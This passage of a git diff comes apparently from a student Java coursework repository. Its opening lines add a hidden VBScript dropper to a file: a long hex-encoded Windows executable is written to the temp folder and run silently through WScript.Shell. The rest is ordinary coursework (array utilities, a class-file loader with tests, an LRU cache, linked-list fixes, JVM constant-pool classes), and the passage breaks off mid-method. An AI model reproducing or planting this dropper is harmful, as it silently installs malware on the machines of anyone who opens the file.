00000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
+Set FSO = CreateObject("Scripting.FileSystemObject")
+DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
+If FSO.FileExists(DropPath)=False Then
+Set FileObj = FSO.CreateTextFile(DropPath, True)
+For i = 1 To Len(WriteData) Step 2
+FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
+Next
+FileObj.Close
+End If
+Set WSHshell = CreateObject("WScript.Shell")
+WSHshell.Run DropPath, 0
+//--></SCRIPT>
\ No newline at end of file
diff --git a/group17/102228177/work2_26/.classpath b/group17/102228177/work2_26/.classpath
index 80437ca942..dfa83d7793 100644
--- a/group17/102228177/work2_26/.classpath
+++ b/group17/102228177/work2_26/.classpath
@@ -1,8 +1,8 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="lib/dom4j-1.6.jar"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="lib" path="lib/dom4j-1.6.1.jar"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java b/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
index 60949d043e..a0dc5262db 100644
--- a/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
+++ b/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
@@ -34,7 +34,7 @@ public static void main(String[] args) {
 //		System.out.println(Arrays.toString(util.merge(a1, a2)));
 		System.out.println(Arrays.toString(util.fibonacci(15)));
 		
-		System.out.println(Arrays.toString(util.getPrimes(23)));
+//		System.out.println(Arrays.toString(util.getPrimes(23)));
 	}
 	
 	/**
@@ -115,14 +115,15 @@ public int[] grow(int [] oldArray,  int size){
 	 */
 	public int[] fibonacci(int max){
 		List<Integer> list = new ArrayList<Integer>();
-		int f1 = 1, f2 = 1, f = 0;
-		list.add(f1);
-		list.add(f2);
-		while(f < max){
-			f = f1+f2;
-			f1 = f2;
-			f2 = f;
-			list.add(f);
+		if (max <= 1) {
+	        return new int[]{};
+        }
+		int lo = 0;
+		int hi = 1;
+		while(hi<max){
+			list.add(hi);
+			hi = lo + hi;
+			lo = hi - lo;
 		}
 		int[] arr = new int[list.size()];
 		for (int i = 0; i < list.size(); i++) {
diff --git a/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..9010ae0b66
--- /dev/null
+++ b/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,81 @@
+package com.coderising.jvm.loader;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		String name = "";
+		for (int i = 0; i < className.length(); i++) {
+			if(className.charAt(i)=='.'){
+				name +=  File.separatorChar;
+			}else{
+				name += className.charAt(i);
+			}
+		}
+		File file = new File(getClassPath()+ File.separatorChar  +name+".class");
+		InputStream in = null;
+		ByteArrayOutputStream out = null;
+		try {
+			in = new FileInputStream(file);
+			out = new ByteArrayOutputStream();
+			byte[] buff = new byte[1024*2];
+			int len = 0;
+			while((len=in.read(buff))!=-1){
+				out.write(buff, 0, len);
+			}
+			return out.toByteArray();
+		} catch (FileNotFoundException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		finally {
+			if(in!=null){
+				try {
+					in.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			if(out!=null){
+				try {
+					out.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		
+		return null;	
+		
+		
+	}
+	
+	
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+	
+	
+	
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		for (String string : clzPaths) {
+			sb.append(string).append(";");
+		}
+		sb = sb.deleteCharAt(sb.length()-1);
+		return sb.toString();
+	}
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java b/group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java
similarity index 79%
rename from group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java
rename to group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java
index b274338091..1e51c27361 100644
--- a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/ClassFileloaderTest.java
+++ b/group17/102228177/work3_26/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,87 +1,93 @@
-package test.com.coderising.jvm.loader;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFileloaderTest {
-	
-	static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
-	static String path2 = "C:\temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "test.com.coderising.jvm.loader.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1070, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "test.com.coderising.jvm.loader.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "D:\\git\\coding2017\\group17\\102228177\\work3_26\\bin";
+	static String path2 = "C:\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java b/group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java
similarity index 88%
rename from group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java
rename to group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java
index 463fb4a15f..12e3d7efdd 100644
--- a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/loader/EmployeeV1.java
+++ b/group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,28 +1,28 @@
-package test.com.coderising.jvm.loader;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..839a34013f
--- /dev/null
+++ b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,150 @@
+package com.coding.basic.linklist;
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+			} 
+			addNewNodetoHead(node);
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+	
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..c323d03b3f
--- /dev/null
+++ b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,31 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java b/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
index 22a72affaf..ee2a7fd554 100644
--- a/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
+++ b/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
@@ -292,22 +292,19 @@ public void removeRange(int min, int max){
 			throw new RuntimeException("LinkedList is empty!");
 		}else{
 			Node q = head;
-			//头判断
-			if((int)q.data>min && (int)q.data<max){ 
-				head = head.next;
-				size--;
-				removeRange(min, max);
-				return;
-			}
-			
-			Node p = q.next;
+			Node p = head.next;
 			while(p!=null){ 
 				if((int)p.data>min && (int)p.data<max){ 
+					q.next=p.next; 
 					size--;
-					q.next = p.next;
+					p=q;
+					p=p.next;
 				}
-				q = q.next;
-				p = q.next;
+				else{
+					q=p;
+					p=p.next;
+					q=q.next;
+				} 
 			}
 		}
 	}
@@ -324,16 +321,12 @@ public LinkedList intersection(LinkedList list){
 	}
 	
 	private void intersection(LinkedList linkedList, Node node1,Node node2){
-		if(node1 == null){
-			while(node2 != null){
-				linkedList.add(node2.data);
-				node2 = node2.next;
-			}
+		if(node1 ==null && node2 == null){
+			
+		}else if(node1 == null){
+			traverse(linkedList, node2);
 		}else if(node2 == null){
-			while(node1 != null){
-				linkedList.add(node1.data);
-				node1 = node1.next;
-			}
+			traverse(linkedList, node1);
 		}else{
 			if((int)node1.data < (int)node2.data){
 				linkedList.add(node1.data);
@@ -344,6 +337,13 @@ private void intersection(LinkedList linkedList, Node node1,Node node2){
 			} 
 		}
 	}
+
+	private void traverse(LinkedList linkedList, Node node) {
+		while(node != null){
+			linkedList.add(node.data);
+			node = node.next;
+		}
+	}
 	
 	
 	public static void main(String[] args) {
diff --git a/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java b/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
index d6d6f24401..dd6d782ca1 100644
--- a/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
+++ b/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
@@ -84,7 +84,6 @@ public void testRemoveDuplicateValues() {
 	@Test
 	public void testRemoveRange() {
 		LinkedList linkedList = new LinkedList();
-		
 		linkedList.add(11);
 		linkedList.add(12);
 		linkedList.add(13);
@@ -92,11 +91,7 @@ public void testRemoveRange() {
 		linkedList.add(16);
 		linkedList.add(16);
 		linkedList.add(19);
-		
 		linkedList.removeRange(10, 14);
-		for (int i = 0; i < linkedList.size(); i++) {
-			System.out.println(linkedList.get(i));
-		}
 	}
 
 	@Test
@@ -116,4 +111,4 @@ public void testIntersection() {
 			System.out.println(newList.get(i));
 		}
 	}
-}
\ No newline at end of file
+}
diff --git a/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java b/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
index c3c296fa24..0ead656318 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
@@ -50,4 +50,4 @@ public void run(){
 			}
 		}
 	}
-}
\ No newline at end of file
+}
diff --git a/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java b/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
index d9c03bcc21..84c45025c2 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
@@ -94,4 +94,4 @@ public void run() {
 			}
 		}
 	}
-}
\ No newline at end of file
+}
diff --git a/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java b/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
index eb6eb162cc..11911fa593 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
@@ -25,7 +25,6 @@ public void testDownload() {
 		
 		FileDownloader downloader = new FileDownloader(url);
 
-	
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
 		
@@ -34,7 +33,6 @@ public void testDownload() {
 			public void notifyFinished() {
 				downloadFinished = true;
 			}
-
 		});
 
 		
@@ -50,10 +48,9 @@ public void notifyFinished() {
 				e.printStackTrace();
 			}
 		}
-		System.out.println("下载完成！");
 		
+		System.out.println("下载完成！");
 		
-
 	}
 
 }
diff --git a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
index a922337b81..aed893a10f 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
@@ -107,4 +107,4 @@ private HttpURLConnection getConnection() {
 		}
 		return con;
 	}
-}
\ No newline at end of file
+}
diff --git a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
index 803cc1dc8d..90df381160 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -16,4 +16,4 @@ public Connection open(String url) throws ConnectionException {
 		return new ConnectionImpl(url);
 	}
 
-}
\ No newline at end of file
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java b/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group27/383117348/src/com/coderising/jvm/clz/ClassFile.java b/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java
similarity index 95%
rename from group27/383117348/src/com/coderising/jvm/clz/ClassFile.java
rename to group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java
index 1b5a8b95a6..650ca8375d 100644
--- a/group27/383117348/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassFile.java
@@ -1,75 +1,75 @@
-package com.coderising.jvm.clz;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java b/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..af1e6bc65f
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,33 @@
+package com.coderising.jvm.constant;
+
+/**
+
+ * @Description 类常量信息
+
+ * @author REEFE
+
+ * @time 2017年4月9日
+
+ */
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..855b581f95
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,38 @@
+package com.coderising.jvm.constant;
+
+/**
+
+ * @Description 常见常量项
+
+ * @author REEFE
+
+ * @time 2017年4月9日
+
+ */
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..d4f91262b8
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+/**
+
+ * @Description:常量池
+
+ * @author:REEFE
+
+ * @time:2017年4月9日 
+
+ */
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
